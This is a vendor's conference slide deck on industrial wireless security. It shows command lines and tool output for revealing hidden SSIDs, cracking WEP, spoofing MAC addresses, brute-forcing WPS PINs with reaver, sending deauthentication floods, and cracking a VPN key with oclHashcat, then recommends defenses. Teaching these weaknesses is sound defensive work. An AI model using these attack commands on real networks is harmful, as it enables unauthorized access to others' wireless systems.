

Wifi? Why Not!

The Wireless Security Challenge

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Industrial Ethernet


The Wireless Communication Mind Map



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→ No discussion:

- A wired connection is more secure

→ but:

- A growing number of applications work exclusively or preferably via Wireless

→ WirelessTarget:


- Optimal security without creating an “unworkable” network

→ but:

- Where to start?
- What does secure mean?
- Are you secure, does it ever end?
- Who are those hackers and why do they do this?
- A wireless network does not stop at your walls or fence!




What is the range of Wireless?



What is the range of Wireless?

1




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What is the range of Wireless?

2




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What is the range of Wireless?


3



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Actual Range:



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
Actual Range:



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
What's the range of Wireless?



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Actual Range:



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What's the range of Wireless?



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Actual Range:



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Hidden SSID as security?



The screenshot shows the configuration interface of a 'Wireless-G Broadband Router with S'. The 'Wireless' tab is selected, and the 'Wireless Network' section is active. The 'Wireless SSID Broadcast' option is set to 'Disable', which is highlighted by a red arrow. Other settings visible include 'Wireless Network Mode' set to 'Mixed' and 'Wireless Channel' set to '6 - 2.437GHz'. The 'Wireless Network Name (SSID)' field is empty. At the bottom, there are 'Save Settings' and 'Cancel Changes' buttons.

Wireless	Setup	Wireless	Security	Access Restrictions	Applications & Gaming
Basic Wireless Settings Wireless Security Wireless MAC Filter Advanced Wireless					
Wireless Network					
Wireless Network Mode: Mixed					
Wireless Network Name (SSID):					
Wireless Channel: 6 - 2.437GHz					
Wireless SSID Broadcast: <input type="radio"/> Enable <input checked="" type="radio"/> Disable					
Save Settings Cancel Changes					

Hidden SSID as security?

```
CH 8 ][ Elapsed: 52 s ][ 2015-06-11 10:35
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
00:22:75:26:BD:5D	-3	34	0 0	6	54e	WPA2	CCMP	PSK	DeloresA
BC:F6:85:BF:4F:70	-40	56	0 0	5	54e.	WPA2	CCMP	PSK	<length: 12>
9C:97:26:17:73:CD	-31	7	1 0	11	54e	WPA2	CCMP	PSK	Knight
1C:AF:F7:D6:29:99	-37	55	0 0	2	54e.	WPA2	CCMP	PSK	-.-
E2:88:5D:88:24:F7	-51	26	0 0	1	54e.	WPA2	CCMP	PSK	<length: 12>
E0:88:5D:88:24:F6	-52	28	1 0	1	54e	WPA2	CCMP	PSK	HOME-24F6
EE:43:F6:11:FF:14	-53	41	0 0	6	54e	WPA2	CCMP	PSK	CenturyLink8424
CC:35:40:46:45:91	-62	1	4 0	1	54e	WPA2	CCMP	PSK	HOME-Snokhous
CE:35:40:46:45:92	-62	8	0 0	1	54e.	WPA2	CCMP	PSK	<length: 12>
0C:54:A5:8F:4E:89	-62	17	0 0	11	54e.	WPA2	CCMP	PSK	<length: 0>
00:1C:DF:B9:0A:0D	-62	18	1 0	6	54e.	WPA2	CCMP	PSK	Belkin_G_Wireless_
CE:35:40:46:45:93	-63	18	0 0	1	54e.	OPN			xfinitywifi
84:1B:5E:ED:5A:16	-65	14	1 0	7	54e	WPA2	CCMP	PSK	NETGEAR95
0C:D5:02:84:68:FD	-66	10	2 0	6	54e	WPA	TKIP	PSK	westell8202
00:22:3F:32:D4:B2	-67	7	1 0	11	54.	WPA	TKIP	PSK	NETGEAR


```
root@kali:~# airodump-ng -c 5 --bssid BC:F6:85:BF:4F:70 mon0
```

airodump-ng -c Ch# --bssid BSSIDHERE mon0



Hidden SSID as security?

```
CH 5 ][ Elapsed: 4 mins ][ 2015-06-11 10:42 ][ fixed channel mon0: -1
BSSID          PWR RXQ Beacons  #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
BC:F6:85:BF:4F:70 -6 95    2434    107    0   5  54e. WPA2 CCMP  PSK  <length: 12>
BSSID          STATION    PWR  Rate  Lost  Frames  Probe
BC:F6:85:BF:4F:70 00:24:D7:67:20:48 -19  0 - 5e    0    108
```




Deauthenticate the
client and look what happens



Hidden SSID as security?

```
CH 5 ][ Elapsed: 5 mins ][ 2015-06-11 10:42 ][ fixed channel mon0: -1
BSSID          PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
BC:F6:85:BF:4F:70 0 0 2559 114 0 5 54e. WPA2 CCMP PSK The Interweb
BSSID          STATION PWR Rate Lost Frames Probe
BC:F6:85:BF:4F:70 00:24:D7:67:20:48 0 0 - 1e 6845 557
```




And there it is !

It's not security, it's hiding



Hidden SSID as security?



Security by Obscurity



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What about WEP?

The screenshot shows a router's configuration interface with the following sections and fields:

- Setup** | **Wireless** | **Security** | **Access Restrictions** | **Applications & Gaming**
- Basic Wireless Settings** | **Wireless Security** | **Wireless MAC Filter** | **Advanced Wireless**
- Security Mode:** WEP
- Default Transmit Key:** 1 (selected), 2, 3, 4
- WEP Encryption:** 64 bits 10 hex digits
- Passphrase:** testphrase (with a **Generate** button)
- Key 1:** EF197F7F26
- Key 2:** 7D833FD79A
- Key 3:** E08E76A946
- Key 4:** E0349C3110
- Buttons:** Save Settings, Cancel Changes

A red arrow points to the **Key 1** field.



What about WEP?

1

```
root@kali:~# apt-get install aircrack-ng
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages will be installed:
  aircrack-ng
The following NEW packages will be installed:
  aircrack-ng
0 upgraded, 1 newly installed, 0 to remove and 0 not installed.
Need to get 10.5 MB of archives.
After this operation, 42.0 MB of additional space will be used.
Do you want to continue? [Y/n] y
Get:1 http://kali.debian-ports.kali.org kali-ports/main amd64 aircrack-ng 1.2 beta2 [10.5 MB]
Fetched 10.5 MB in 1s (10.5 MB/s)
debconf: delaying package configuration, since apt-utils is not installed
Selecting previously unselected package aircrack-ng.
(Reading database ... 123456 files and directories currently installed.)
Preparing to unpack aircrack-ng_1.2_beta2_amd64.deb ...
Unpacking aircrack-ng (1.2 beta2) ...
Setting up aircrack-ng (1.2 beta2) ...
root@kali:~#
```

2

```
File Edit View Search Terminal Help
Ch 1 | Elapsed: 2 mins | 2013-12-23 03:47

BSSID          PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
64:0F:28:68:A9:B1 -69 62 791 5961 77 1 54 . WEP WEP OPN BELL725

BSSID          STATION          PWR  Rate  Lost  Frames  Probe
64:0F:28:68:A9:B1 00:1C:0C:CA:6C:99:DB 0 0 - 1 64 20140
64:0F:28:68:A9:B1 90:72:40:7F:8C:86 -64 0 -54 0 14
64:0F:28:68:A9:B1 1C:65:9D:D1:73:61 -66 54 - 1 0 49
```

3

```
File Edit View Search Terminal Help

Aircrack-ng 1.2 beta2

[00:00:17] Tested 156785 keys (got 5228 IVs).

KB depth
0 1/ 3 C9(8704) 84(8448) 37(8192) 88(8192) D7(8192)
1 26/ 27 34(7168) 39(6912) 52(6912) 57(6912) 68(6912)
2 19/ 2 B2(7168) 03(6912) 07(6912) 38(6912) 69(6912)
3 22/ 32 30(7168) 28(6912) 20(6912) 42(6912) 5E(6912)
4 16/ 4 F9(7424) 00(7168) 13(7168) 10(7168) 32(7168)

Failed. Next try with 10000 IVs.
Building aircrack-ng...
root@kali:~#
```

3 step setup



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What about WEP?

```
Aircrack-ng 1.1

[00:01:11] Tested 2306 keys (got 36310 IVs)

KB    depth  byte(vote)
0     6/ 9    FE(42496) 2D(41216) 39(41216) 54(41216) 85(41216)
1     0/ 2     37(49408) 8E(46592) D2(44032) A6(43264) 69(42752)
2     0/ 3     35(47872) B0(44288) 9D(43264) 36(42752) A0(42496)
3     0/ 6     35(48384) C1(44800) 51(44032) 75(44032) 83(43776)
4     0/ 8     36(47104) 0C(45824) 83(45568) 8C(45056) 3F(44288)

KEY FOUND! [ 39:37:35:35:36 ] (ASCII: 97556 )
Decrypted correctly: 100%

root@kali:~#
```

Key Found !




And what about WEP?



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MAC Address Security?



MAC Address Security?


CH 12][Elapsed: 24 s][2013-10-03 19:19

BSSID	PWR	Beacons	#Data	#/s	CH	MB	ENC	CIPHER	AUTH	ESSID
C0:8A:DE:3C:60:E8	-80	239	94	1	11	54e	WPA	TKIP	PSK	ACCS-Staff
C0:8A:DE:BC:60:E8	-80	239	0	0	11	54e	WPA	TKIP	PSK	ACCS-Guest
C0:8A:DE:7C:60:E8	-80	239	289	2	11	54e	WPA	TKIP	PSK	ACCS-Student
8C:0C:90:45:80:C9	-97	83	0	0	11	54e	OPN			Amrita-Student
8C:0C:90:C5:80:C8	-98	94	0	0	11	54e	OPN			Amrita-Research
8C:0C:90:05:80:C9	-97	88	0	0	11	54e	OPN			Amrita-Staff
8C:0C:90:45:80:C8	-97	87	0	0	11	54e	OPN			Amrita-Guest
8C:0C:90:85:80:C8	-98	81	0	0	11	54e	OPN			WiFi-Registration
8C:0C:90:05:80:C8	-98	119	0	0	11	54e	OPN			Amrita-Gadgets

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
(not associated)	C0:8A:DE:DD:07:0B	-87	0 - 1	0	1	island
(not associated)	C0:8A:DE:5D:07:08	-89	0 - 11	0	1	Guest
(not associated)	C0:8A:DE:1D:07:08	-89	0 - 11	0	1	Amrita-Gadgets
(not associated)	C0:8A:DE:9D:07:08	-91	0 - 11	0	1	WiFi-Registration
(not associated)	C0:8A:DE:5D:07:09	-91	0 - 11	0	1	Amrita-Student
(not associated)	C0:8A:DE:1D:07:09	-91	0 - 11	0	1	Amrita-Staff
(not associated)	C0:8A:DE:DD:07:08	-91	0 - 11	0	1	Amrita-Research
C0:8A:DE:3C:60:E8	60:67:20:24:B5:B4	-80	11e-6e	0	98	
C0:8A:DE:7C:60:E8	1C:3E:84:1A:11:EB	-80	18e-24e	0	172	
C0:8A:DE:7C:60:E8	1C:3E:84:1A:11:EB	-80	18e-24e	0	176	
C0:8A:DE:7C:60:E8	D8:31:CF:DA:82:D6	-75	54e-48	0	64	



MAC Address is broadcasted



```
root@kali:~# ifconfig wlan1 down
root@kali:~# macchanger -r wlan1
Permanent MAC: 64:66:b3:21:c4:a3 (unknown)
Current MAC: f8:77:82:29:3d:53 (unknown)
New MAC: 5c:1d:59:e2:9a:64 (unknown)
root@kali:~#
```

and changed in a second



MAC Address Security?

- MAC Addresses visible
- No encryption
- Means No Security



What about WPS?

```
Interface      Chipset      Driver
wlan0          Realtek RTL8187L   rtl8187 - [phy0]
                  (monitor mode enabled on mon0)

root@kali:~# wash -i mon0

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacticalnetworksolutions.com>

BSSID          Channel    RSSI    WPS Version    WPS Locked
-----
98:FC:11:69:E6:07    1    -54    1.0    No
PS_Section_9
00:1C:DF:89:0A:0D    6    -49    1.0    No
Belkin_G_Wireless_B90A0D
9C:97:26:15:30:C1    11   -14    1.0    No
ZaraByte.com
^C
root@kali:~#
```



What about WPS?

WPS is an 8 digits code
Last digit is a checksum
Leaving 10^7 possible codes

Seems enough, doesn't it?




What about WPS?

If the first 4 digits don't match
WPS reports an error
Leaving 10998 possible codes

That's NOT enough!



What about WPS?



The screenshot shows a terminal window with a WPS attack log. At the top, a PIN '56843040' is displayed in green digits on a dark background, with the first four digits '5684' circled in red. Below this, the log shows several failed attempts with PINs 56843002, 56843019, 56843026, and 56843033, each circled in red. A red arrow points from the bottom right towards the PIN '56843040'. The log also shows a successful WPS PIN '56843040' and the WPA PSK and AP SSID.

```
100.00% [=====>] 5314 0 PINS/m 0h 0m


+ - - - [ Attack Log ] - - - - - +
| [!] AP rejected 56843002, selecting next PIN
| [+] Trying pin 56843002
| [!] AP rejected 56843002, selecting next PIN
| [+] Trying pin 56843019
| [!] AP rejected 56843019, selecting next PIN
| [+] Trying pin 56843026
| [!] AP rejected 56843026, selecting next PIN
| [+] Trying pin 56843033
| [!] AP rejected 56843033, selecting next PIN
| [+] 93.75% complete @ 2013-10-17 20:47:56 (2 seconds/pin)
| [+] Trying pin 56843040
| [+] WPS PIN: '56843040'
| [+] WPA PSK: 'd2423c477d37ea68e3e153d42802781185d0b7a8ef4d9f29bd2d07769d18822c'
| [+] AP SSID: 'Tenda'
+ - - - - - +
```



What about WPS?

```
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacticalnetworksolutions.com>

[+] Waiting for beacon from E0:05:C5:5A:26:94
[+] Associated with E0:05:C5:5A:26:94 (ESSID: (null))
[+] 0.05% complete @ 2013-11-10 08:18:36 (3 seconds/pin)
[+] 0.10% complete @ 2013-11-10 08:18:53 (3 seconds/pin)
--SNIP--
[+] 97.90% complete @ 2013-11-10 13:22:11 (3 seconds/pin)
[+] 97.95% complete @ 2013-11-10 13:22:28 (3 seconds/pin)
[+] 97.99% complete @ 2013-11-10 13:22:49 (3 seconds/pin)
[+] 98.04% complete @ 2013-11-10 13:23:15 (3 seconds/pin)
[+] 98.08% complete @ 2013-11-10 13:23:32 (3 seconds/pin)
[+] 98.13% complete @ 2013-11-10 13:23:48 (3 seconds/pin)
[+] 98.17% complete @ 2013-11-10 13:24:10 (3 seconds/pin)
[+] 98.22% complete @ 2013-11-10 13:24:35 (3 seconds/pin)
[+] 98.26% complete @ 2013-11-10 13:24:56 (3 seconds/pin)
```




With old systems it takes hours



What about WPS?

```
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnet
l.com>

[?] Restore previous session for 64:66:B3:AC:78:B2? [n/Y]
[+] Restored previous session
[+] Waiting for beacon from 64:66:B3:AC:78:B2
[+] Switching mon0 to channel 1
[+] Associated with 64:66:B3:AC:78:B2 (ESSID: XXXXXXXXXX)
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
```



Updated systems are smarter
and take much longer to hack



Are WPA or WPA2 secure?

```
Файл Правка Вид Поиск Терминал Справка
CH 12 ][ Elapsed: 36 s ][ 2015-09-09 15:59


BSSID                PWR Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
C0:4A:00:86:64:1E     -1         0           0  0  11  -1             <length: 0>
AC:F1:DF:29:51:70     -1         0           0  0  5   -1             <length: 0>
78:24:AF:80:40:30     -1         0          12  0  7   -1             <length: 0>
28:28:5D:65:22:5E    -59         77          512  0 13  54e WPA2 CCMP PSK Legion
C8:3A:35:17:8D:18    -63        102          12  0  1  54e WPA2 CCMP PSK Tenda
2A:A4:3C:0D:1F:D1    -75        100           1  0  6  54e WPA2 CCMP PSK CLATI
D8:50:E6:42:DE:2C    -79        101          22  0  6  54e WPA2 CCMP PSK ik-307
FC:75:16:E9:B3:98    -80        134           0  0  4  54e WPA2 CCMP PSK Alexandr
2A:A4:3C:0D:48:72    -81         44           1  0  6  54e WPA2 CCMP PSK <length: 0>
68:15:90:92:76:86    -87         49           0  0 11  54e WPA2 CCMP PSK ROSTELECOM_7685
2A:A4:3C:0D:49:3E    -87         11           0  0 11  54e WPA2 CCMP PSK <length: 0>
20:10:7A:9C:F8:58    -87         24           0  0  8  54e WPA2 CCMP PSK YOTA
28:28:5D:DA:72:8C    -87         47           0  0  4  54e WPA2 CCMP PSK Kontek-NSK
EA:28:5D:A0:51:88    -87         1           0  0  2  54e WPA TKIP PSK FashionMediaGrupp
CE:5D:4E:FB:40:28    -85         35           2  0 10  54e WPA TKIP PSK ZyXEL_KEENETIC_GIGA_FB4028
FC:F5:28:48:E1:42    -94         9           0  0  2  54e WPA TKIP PSK ZyXEL_KEENETIC_4G_4BE140
F8:1A:67:61:2D:7E    -90         35           6  0  5  54e WPA2 CCMP PSK A1 Format
C4:6E:1F:88:FE:8C    -93         32           2  0  9  54e WPA2 CCMP PSK TP-LINK_2.4GHz_88FE8C
00:19:CB:0A:75:1A    -95         4           0  0 11  54 WPA2 CCMP PSK Complex
28:28:5D:D8:81:8A    -97         6           0  0 11  54e WPA2 CCMP PSK ZYXEL-001
00:0F:02:71:EF:C0    -95         5           0  0 11  54e WPA2 CCMP PSK Ntk 32
A8:F9:4B:25:5B:04    -94         8           0  0  5  54e WPA2 CCMP PSK AndroidAP
E8:94:F6:A6:DC:30    -94         9           0  0  1  54e WPA2 CCMP PSK ROCKET_HOSTEL
2C:AB:25:64:CB:43    -97        14           1  0  1  54e WPA2 CCMP PSK K&P

root@dlgg3r:~# airodump-ng --bssid D8:50:E6:42:DE:2C -c 6
```



WPA or WPA2 a solution?

```
root@bt:~# aireplay-ng --deauth 100 -a 08:86:38:74:22:76 mon0
05:15:32 Waiting for beacon frame (BSSID: 08:86:38:74:22:76) on channel 6
NB: this attack is only effective when targeting
a connected wireless client (-c <client mac>).
05:15:32 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:33 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:33 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:34 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:34 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:35 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:35 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:36 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:36 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:37 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
05:15:37 Sending DeAuth to broadcast -- BSSID: [08:86:38:74:22:76]
```




Start with deauthenticate



WPA or WPA2 a solution?

```
Frame 103 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Radiotap Header v0, Length 18
IEEE 802.11 QoS Data, Flags: .p.P...TC
Type/Subtype: QoS Data (0x0028)
Frame Control Field: 0x8851
.000 0000 0010 1100 = Duration: 44 microseconds
Receiver address: 64:a0:e7:af:47:4e (64:a0:e7:af:47:4e)
BSS Id: 64:a0:e7:af:47:4e (64:a0:e7:af:47:4e)
Transmitter address: 00:1b:d4:58:e6:1a (00:1b:d4:58:e6:1a)
Source address: 00:1b:d4:58:e6:1a (00:1b:d4:58:e6:1a)
Destination address: 64:a0:e7:af:47:4e (64:a0:e7:af:47:4e)
Fragment number: 0
Sequence number: 1
Frame check sequence: 0x9469ea01 [correct]
Qos Control: 0x0000
CCMP parameters
CCMP Ext. Initialization Vector: 0x0000000000000001
Key index: 0
Data (84 bytes)
Data: 3d833a329d1d0ccc0372742ab1031986151713a0c160a603...
[Length: 84]
```



```
0000 00 00 12 00 3e 48 00 00 10 6c 3c 14 40 01 dd 05  ...H...!<.@...
0010 00 00 88 51 2c 00 64 a0 e7 af 47 4e 10 00 00 01 00 00 20  ...Q..d...GN...X
0020 e6 1a 64 a0 e7 af 47 4e 10 00 00 00 01 00 00 20  ...d...GN...
0030 00 00 00 00 3d 83 3a 32 9d 1d 0c cc 03 72 74 2a  ...==:2...rt*
0040 b1 03 19 86 15 17 13 a0 c1 60 a6 03 57 52 c2 14  .....WR...
0050 ce 42 be bd ae fa d7 28 ed f8 a7 28 e0 13 fb 39  ...B...((...9
0060 39 04 6e 08 23 75 3a a4 33 9f 95 3c 19 7d 49 e1  ...9.n.#u:..3...}I.
0070 0a 1e 1a a2 d1 91 75 bc f6 1e 81 86 7a f5 c8 02  ......u...Z...
0080 4a 3d 29 eb ce 16 6e 44 01 ea 69 94  ...j=)...nd...i.
```

Why spend money on security?

There is no direct profit

Maintaining security costs time

We are not a target !



Nowadays security is needed

First identify the risk

Downtime costs more



Who are these people?

Script Kiddies

Occasional Hackers

Former Employees



Former Employees



WHAT DO
YOU EXPECT FROM
A DISGRUNTLED FORMER
EMPLOYEE



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Industrial Ethernet

Who are these people?

Script Kiddies

Occasional Hackers

Competition / Pro's




Competition / Pro's

```
root@sf:~/oclHashcat# ./oclHashcat-plus64.bin -a 3 -n 160 -u 1024 -m 5300 md5-vpn.psk
oclHashcat-plus v0.13 by atom starting...

Hashes: 1 total, 1 unique salts, 1 unique digests
Bitmaps: 8 bits, 256 entries, 0x000000ff mask, 1024 bytes
Workload: 1024 loops, 160 accel
Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 80c
Device #1: Cayman, 1024MB, 830Mhz, 24MCU
Device #2: Cayman, 1024MB, 830Mhz, 24MCU
Device #3: Cayman, 1024MB, 830Mhz, 24MCU
Device #4: Cayman, 1024MB, 830Mhz, 24MCU
Device #1: Kernel ./kernels/4098/m5300_a3.Cayman_1084.4_1084.4.kernel (974620 bytes)
Device #2: Kernel ./kernels/4098/m5300_a3.Cayman_1084.4_1084.4.kernel (974620 bytes)
Device #3: Kernel ./kernels/4098/m5300_a3.Cayman_1084.4_1084.4.kernel (974620 bytes)
Device #4: Kernel ./kernels/4098/m5300_a3.Cayman_1084.4_1084.4.kernel (974620 bytes)

md5-vpn.psk:cisco1

Session.Name...: oclHashcat-plus
Status.....: Cracked
Input.Mode....: Mask (2122?2?2?2?2?)
Hash.Target...: md5-vpn.psk
Hash.Type....: IKE_PSK_MD5
Time.Started...: Fri Feb 1 11:27:44 2013 (3 secs)
Speed.GPU.#1...: 165.1M/s
Speed.GPU.#2...: 165.9M/s
Speed.GPU.#3...: 163.7M/s
Speed.GPU.#4...: 161.8M/s
Speed.GPU.#*...: 656.5M/s
Recovered.....: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.....: 1509949440/3/48902912 (40.28%)
Rejected.....: 0/1509949440 (0.00%)
HwMon.GPU.#1...: 99% Util, 45c Temp, 29% Fan
HwMon.GPU.#2...: 99% Util, 47c Temp, N/A Fan
HwMon.GPU.#3...: 99% Util, 51c Temp, 29% Fan
HwMon.GPU.#4...: 99% Util, 43c Temp, N/A Fan
```



Competition / Pro's



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Competition / Pro's



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Industrial Ethernet

Industrial Wireless can be safe!


Strong Passwords

Time to brute force password space, assuming 10,000 attempts per second			
	Lowercase (26 letters)	Uppercase, lowercase, digits (62 characters)	Uppercase, lowercase, digits, punctuation (94 characters)
Length = 5 characters	19 minutes	1 day	8 days
Length = 6 characters	8 hours	65 days	2 years
Length = 7 characters	9 days	11 years	200 years
Length = 8 characters	241 days	692 years	19,000 years
Length = 9 characters	17 years	42,000 years	1.8 million years



Industrial Wireless can be safe!

Strong Encryption



Industrial Wireless can be safe!

Intruder Detection System

The screenshot displays the configuration and monitoring interface of a Wireless Intruder Detection System (Wireless-IDS). On the left, a sidebar lists various security features, with 'Wireless-IDS' selected. The main configuration area shows that 'Wireless-IDS Intruder Identification' is active, while 'Store Intruder DHCP Requests' is inactive. A 'Timeout Intruder Activity' of 60 seconds is set. A 'White List Table...' button is present, with an arrow pointing to it from the text 'Some stations may be excluded'. Below the configuration, two tables are shown: the 'Intruder-Table' and the 'Event-Table'. The 'Intruder-Table' lists detected intruders, and the 'Event-Table' provides a detailed log of security events.

Intruder-Table

MAC-Address	Attack-Type	Active	RSSI	Attack-Rate	Known-Client
<u>ece555ffd239</u>	DeauthenticateBroad	No	0	9	No


Event-Table

Event-Type	ID	Event-Time	Event-Rate	Interface	Attacker-MAC
<u>DeauthenticateBroad</u>	1	2015-09-07 17:22:05	14	Wlan-1	ece555ffd239
<u>DeauthenticateBroad</u>	2	2015-09-07 17:22:06	73	Wlan-1	ece555ffd239
<u>DeauthenticateBroad</u>	3	2015-09-07 17:22:07	13	Wlan-1	ece555ffd239
<u>DeauthenticateBroad</u>	4	2015-09-07 17:47:30	19	Wlan-1	ece555ffd239

Some stations may be excluded


Industrial Wireless can be safe!

Certificates
Provide an additional
layer of security



Industrial Wireless can be safe!

IEEE 802.1X
Authenticates every user
against user database



Industrial Wireless can be safe!

Certificates



IEEE 802.1X



- Wireless products offer more and more possibilities. There are risks involved regarding security and access tot mission critical processes and information flow.
- By implementing a good security design from the start of the project these risks can be limited to a very acceptable level.
- Henk Geurts, Hirschmann Network Solutions





Questions? Please visit us on the exhibition floor!

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